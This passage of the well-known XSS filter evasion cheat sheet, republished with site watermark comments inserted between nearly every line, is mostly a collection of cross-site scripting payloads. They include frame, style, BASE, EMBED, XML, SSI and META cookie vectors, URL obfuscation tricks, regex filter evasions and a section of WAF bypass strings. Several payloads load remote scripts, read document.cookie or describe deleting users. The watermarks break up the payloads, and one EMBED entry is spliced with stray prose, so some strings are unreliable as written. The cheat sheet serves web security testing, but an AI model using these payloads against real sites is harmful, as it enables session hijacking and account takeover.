//ANYUN.ORG


//安云网咨询系统

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

//安云网咨询系统

FRAME

//安云网,anyun.org

Frames have the same sorts of XSS problems as iframes //内容来自安云网


//安云网咨询系统

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

//内容来自AnYun.ORG


//ANYUN.ORG

TABLE //本文来自安云网

<TABLE BACKGROUND="javascript:alert('XSS')"> //安云网咨询系统

TD //ANYUN.ORG

Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

//内容来自AnYun.ORG


//copyright AnYun.ORG

<TABLE><TD BACKGROUND="javascript:alert('XSS')"> //内容来自安云网

DIV

//内容来自安云网

DIV background-image

//内容来自AnYun.ORG

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

//内容来自AnYun.ORG

DIV background-image with unicoded XSS exploit

//安云网,anyun.org

This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

//ANYUN.ORG


//安云网咨询系统

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

//内容来自AnYun.ORG

DIV background-image plus extra characters

//copyright AnYun.ORG

Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279): //ANYUN.ORG


//本文来自安云网

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

//本文来自安云网

DIV expression //内容来自AnYun.ORG

A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

//安云网,anyun.org


//安云网,anyun.org

<DIV STYLE="width: expression(alert('XSS'));"> //安云网咨询系统

Downlevel-Hidden block

//内容来自安云网

Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

//内容来自安云网


//安云网,anyun.org

<!--[if gte IE 4]>

//安云网咨询系统

 <SCRIPT>alert('XSS');</SCRIPT>

//安云网,anyun.org

 <![endif]-->

//内容来自安云网

BASE tag

//本文来自安云网

Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

//安云网,anyun.org


//内容来自安云网

<BASE HREF="javascript:alert('XSS');//">

//内容来自AnYun.ORG

OBJECT tag

//内容来自AnYun.ORG

If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

//内容来自AnYun.ORG


//本文来自安云网

 <OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

//内容来自安云网

Using an EMBED tag you can embed a Flash movie that contains XSS //ANYUN.ORG

Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: //内容来自安云网


//安云网咨询系统

EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

//内容来自AnYun.ORG

org/xss.swf" AllowScriptAccess="always"></EMBED>

//安云网,anyun.org

You can EMBED SVG which can contain your XSS vector //本文来自安云网

This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one. //安云网咨询系统


//安云网,anyun.org

<EMBED SRC=" A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

//安云网,anyun.org

Using ActionScript inside flash can obfuscate your XSS vector

//内容来自安云网

a="get"; //本文来自安云网

b="URL(\"";

//ANYUN.ORG

c="javascript:";

//安云网,anyun.org

d="alert('XSS');\")"; //安云网咨询系统

eval(a+b+c+d);

//内容来自安云网

XML data island with CDATA obfuscation

//安云网咨询系统

This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo: //ANYUN.ORG


//copyright AnYun.ORG

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

//ANYUN.ORG

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> //安云网,anyun.org

Locally hosted XML with embedded JavaScript that is generated using an XML data island //安云网,anyun.org

This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here: //安云网,anyun.org


//copyright AnYun.ORG

<XML SRC="xsstest.xml" ID=I></XML> //内容来自安云网

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

//内容来自AnYun.ORG

HTML+TIME in XML //本文来自安云网

This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work: //内容来自AnYun.ORG


//copyright AnYun.ORG

<HTML><BODY>

//内容来自AnYun.ORG

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

//安云网咨询系统

<?import namespace="t" implementation="#default#time2"> //本文来自安云网

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> //copyright AnYun.ORG

</BODY></HTML>

//ANYUN.ORG


//内容来自安云网

Assuming you can only fit in a few characters and it filters against ".js"

//copyright AnYun.ORG

you can rename your JavaScript file to an image as an XSS vector: //安云网,anyun.org


//内容来自AnYun.ORG

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

//安云网咨询系统


//内容来自安云网

SSI (Server Side Includes)

//内容来自安云网

This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues: //copyright AnYun.ORG


//本文来自安云网

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--> //内容来自AnYun.ORG


//内容来自安云网

PHP //本文来自安云网

Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

//内容来自AnYun.ORG


//内容来自安云网

<? echo('<SCR)';

//ANYUN.ORG

echo('IPT>alert("XSS")</SCRIPT>'); ?>

//内容来自安云网


//ANYUN.ORG

IMG Embedded commands //内容来自安云网

This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors: //copyright AnYun.ORG


//安云网,anyun.org

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> //本文来自安云网


//copyright AnYun.ORG

IMG Embedded commands part II

//内容来自AnYun.ORG

This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="httx://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this): //copyright AnYun.ORG


//安云网,anyun.org

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

//内容来自安云网

Cookie manipulation

//内容来自AnYun.ORG

Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...): //本文来自安云网


//安云网咨询系统

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> //ANYUN.ORG

UTF-7 encoding

//内容来自AnYun.ORG

If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

//安云网,anyun.org


//本文来自安云网

 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

//安云网咨询系统

XSS using HTML quote encapsulation

//copyright AnYun.ORG

This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i": //本文来自安云网


//copyright AnYun.ORG

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

//安云网,anyun.org

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

//ANYUN.ORG


//安云网,anyun.org

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> //本文来自安云网

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i": //copyright AnYun.ORG


//内容来自安云网

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>

//copyright AnYun.ORG

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags): //安云网,anyun.org


//copyright AnYun.ORG

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT> //内容来自安云网

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox): //安云网咨询系统


//copyright AnYun.ORG

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>

//本文来自安云网

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

//安云网咨询系统


//内容来自AnYun.ORG

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

//内容来自安云网

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

//本文来自安云网


//内容来自AnYun.ORG

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

//安云网咨询系统

URL string evasion //安云网咨询系统

Assuming "http://www.google.com/" is pro grammatically disallowed: //内容来自AnYun.ORG


//安云网,anyun.org

IP verses hostname

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<A HREF="http://66.102.7.147/">XSS</A>

//内容来自安云网

URL encoding

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<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

//内容来自AnYun.ORG

Dword encoding

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(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details): //内容来自安云网


//内容来自安云网

<A HREF="http://1113982867/">XSS</A>

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Hex encoding

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The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required): //内容来自安云网


//copyright AnYun.ORG

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

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Octal encoding

//内容来自安云网

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

//ANYUN.ORG


//安云网,anyun.org

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

//安云网咨询系统

Mixed encoding //安云网,anyun.org

Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes: //内容来自AnYun.ORG


//内容来自AnYun.ORG

<A HREF="h

//安云网,anyun.org

ttp://66.000146.0x7.147/">XSS</A>

//安云网咨询系统

Protocol resolution bypass

//安云网咨询系统

(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

//本文来自安云网


//安云网,anyun.org

<A HREF="//www.google.com/">XSS</A>

//本文来自安云网

Google "feeling lucky" part 1.

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Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.

//copyright AnYun.ORG


//安云网咨询系统

<A HREF="//google">XSS</A>

//内容来自AnYun.ORG

Google "feeling lucky" part 2.

//内容来自AnYun.ORG

This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:

//内容来自安云网


//内容来自AnYun.ORG

<A HREF="http://[email protected]">XSS</A>

//内容来自安云网

Google "feeling lucky" part 3. //本文来自安云网

This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

//内容来自AnYun.ORG


//本文来自安云网

<A HREF="http://google:ha.ckers.org">XSS</A> //本文来自安云网

Removing cnames

//ANYUN.ORG

When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly): //内容来自安云网


//内容来自AnYun.ORG

<A HREF="http://google.com/">XSS</A> //安云网,anyun.org

Extra dot for absolute DNS: //本文来自安云网

<A HREF="http://www.google.com./">XSS</A>

//本文来自安云网

JavaScript link location:

//本文来自安云网

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A> //安云网,anyun.org

Content replace as attack vector //copyright AnYun.ORG

Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "javascript:", which renders in IE, Netscape 8.1+ in secure site mode and Opera): //ANYUN.ORG


//本文来自安云网

<A HREF="http://www.google.com/ogle.com/">XSS</A> //ANYUN.ORG

Character escape sequences //安云网,anyun.org

All the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

//copyright AnYun.ORG


//内容来自安云网

<

//内容来自安云网

%3C

//安云网咨询系统

&lt //内容来自安云网

&lt; //copyright AnYun.ORG

&LT //安云网,anyun.org

&LT;

//ANYUN.ORG

&#60

//安云网,anyun.org

&#060

//ANYUN.ORG

&#0060 //本文来自安云网

&#00060 //copyright AnYun.ORG

&#000060

//ANYUN.ORG

&#0000060

//安云网咨询系统

&#60; //ANYUN.ORG

&#060; //ANYUN.ORG

&#0060;

//copyright AnYun.ORG

&#00060; //安云网,anyun.org

&#000060; //安云网咨询系统

&#0000060;

//安云网咨询系统

&#x3c //copyright AnYun.ORG

&#x03c //内容来自安云网

&#x003c

//内容来自安云网

&#x0003c //安云网咨询系统

&#x00003c

//ANYUN.ORG

&#x000003c //内容来自AnYun.ORG

&#x3c; //ANYUN.ORG

&#x03c; //本文来自安云网

&#x003c;

//本文来自安云网

&#x0003c;

//安云网咨询系统

&#x00003c; //安云网咨询系统

&#x000003c;

//ANYUN.ORG

&#X3c

//安云网咨询系统

&#X03c //内容来自AnYun.ORG

&#X003c

//内容来自AnYun.ORG

&#X0003c //ANYUN.ORG

&#X00003c //内容来自AnYun.ORG

&#X000003c

//安云网,anyun.org

&#X3c;

//安云网,anyun.org

&#X03c;

//安云网咨询系统

&#X003c; //安云网咨询系统

&#X0003c;

//安云网,anyun.org

&#X00003c; //内容来自AnYun.ORG

&#X000003c; //安云网咨询系统

&#x3C

//安云网,anyun.org

&#x03C

//copyright AnYun.ORG

&#x003C

//ANYUN.ORG

&#x0003C //安云网咨询系统

&#x00003C //本文来自安云网

&#x000003C //内容来自安云网

&#x3C;

//本文来自安云网

&#x03C; //安云网咨询系统

&#x003C; //安云网,anyun.org

&#x0003C; //本文来自安云网

&#x00003C;

//本文来自安云网

&#x000003C; //本文来自安云网

&#X3C //内容来自安云网

&#X03C

//ANYUN.ORG

&#X003C //copyright AnYun.ORG

&#X0003C

//内容来自安云网

&#X00003C //copyright AnYun.ORG

&#X000003C //ANYUN.ORG

&#X3C;

//安云网咨询系统

&#X03C;

//内容来自安云网

&#X003C; //copyright AnYun.ORG

&#X0003C; //内容来自AnYun.ORG

&#X00003C; //安云网,anyun.org

&#X000003C;

//copyright AnYun.ORG

\x3c

//内容来自安云网

\x3C

//内容来自安云网

\u003c

//安云网,anyun.org

\u003C //安云网咨询系统


//copyright AnYun.ORG

Methods to Bypass WAF – Cross-Site Scripting

//安云网,anyun.org

General issues //安云网咨询系统

• Stored XSS //ANYUN.ORG


//内容来自AnYun.ORG

If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction. //本文来自安云网

• Reflected XSS in Javascript

//内容来自AnYun.ORG


//ANYUN.ORG

 Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

//安云网,anyun.org

 Exploitation: /?xss=500); alert(document.cookie);// //安云网咨询系统

• DOM-based XSS

//ANYUN.ORG


//copyright AnYun.ORG

 Example: <script> ... eval($_GET[xss]); ... </script>

//本文来自安云网

 Exploitation: /?xss=document.cookie

//安云网咨询系统

XSS via request Redirection. //ANYUN.ORG

• Vulnerable code: //安云网,anyun.org


//本文来自安云网

 ...

//ANYUN.ORG

 header('Location: '.$_GET['param']);

//copyright AnYun.ORG

 ... //ANYUN.ORG

As well as: //copyright AnYun.ORG


//内容来自AnYun.ORG

 ... //内容来自安云网

 header('Refresh: 0; URL='.$_GET['param']);

//copyright AnYun.ORG

 ... //安云网,anyun.org

• This request will not pass through the WAF: //内容来自AnYun.ORG


//copyright AnYun.ORG

 /?param=javascript:alert(document.cookie) //ANYUN.ORG

• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

//内容来自安云网


//内容来自安云网

 /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= //内容来自AnYun.ORG


//安云网咨询系统

WAF ByPass Strings for XSS.

//内容来自AnYun.ORG


//内容来自安云网

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS"> //安云网,anyun.org

<Video> <source onerror = "javascript: alert (XSS)"> //内容来自AnYun.ORG

<Input value = "XSS" type = text> //本文来自安云网

<applet code="javascript:confirm(document.cookie);"> //ANYUN.ORG

<isindex x="javascript:" onmouseover="alert(XSS)"> //内容来自安云网

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> //内容来自AnYun.ORG

"><img src="x:x" onerror="alert(XSS)"> //安云网咨询系统

"><iframe src="javascript:alert(XSS)">

//安云网咨询系统

<object data="javascript:alert(XSS)"> //本文来自安云网

<isindex type=image src=1 onerror=alert(XSS)>

//copyright AnYun.ORG

<img src=x:alert(alt) onerror=eval(src) alt=0>

//内容来自安云网

<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img> //ANYUN.ORG

<iframe/src="data:text/html,<svg onload=alert(1)>"> //安云网咨询系统

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> //内容来自AnYun.ORG

<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script //本文来自安云网

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> //copyright AnYun.ORG

<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>

//ANYUN.ORG

<form><a href="javascript:\u0061lert(1)">X //本文来自安云网

</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>

//安云网咨询系统

<style>//*{x:expression(alert(/xss/))}//<style></style>  //内容来自安云网

Filter Bypass Alert Obfuscation //安云网,anyun.org

(alert)(1)

//ANYUN.ORG

a=alert,a(1)

//内容来自AnYun.ORG

[1].find(alert) //内容来自安云网

top[“al”+”ert”](1) //本文来自安云网

top[/al/.source+/ert/.source](1) //安云网咨询系统

al\u0065rt(1) //内容来自安云网

top[‘al\145rt’](1)

//ANYUN.ORG

top[‘al\x65rt’](1)

//内容来自安云网

top[8680439..toString(30)](1)

//内容来自AnYun.ORG

Authors and Primary Editors

//copyright AnYun.ORG

Robert "RSnake" Hansen

//ANYUN.ORG


//安云网咨询系统

Contributors

//安云网,anyun.org

Adam Lange

//安云网,anyun.org

Mishra Dhiraj //安云网,anyun.org


//内容来自AnYun.ORG

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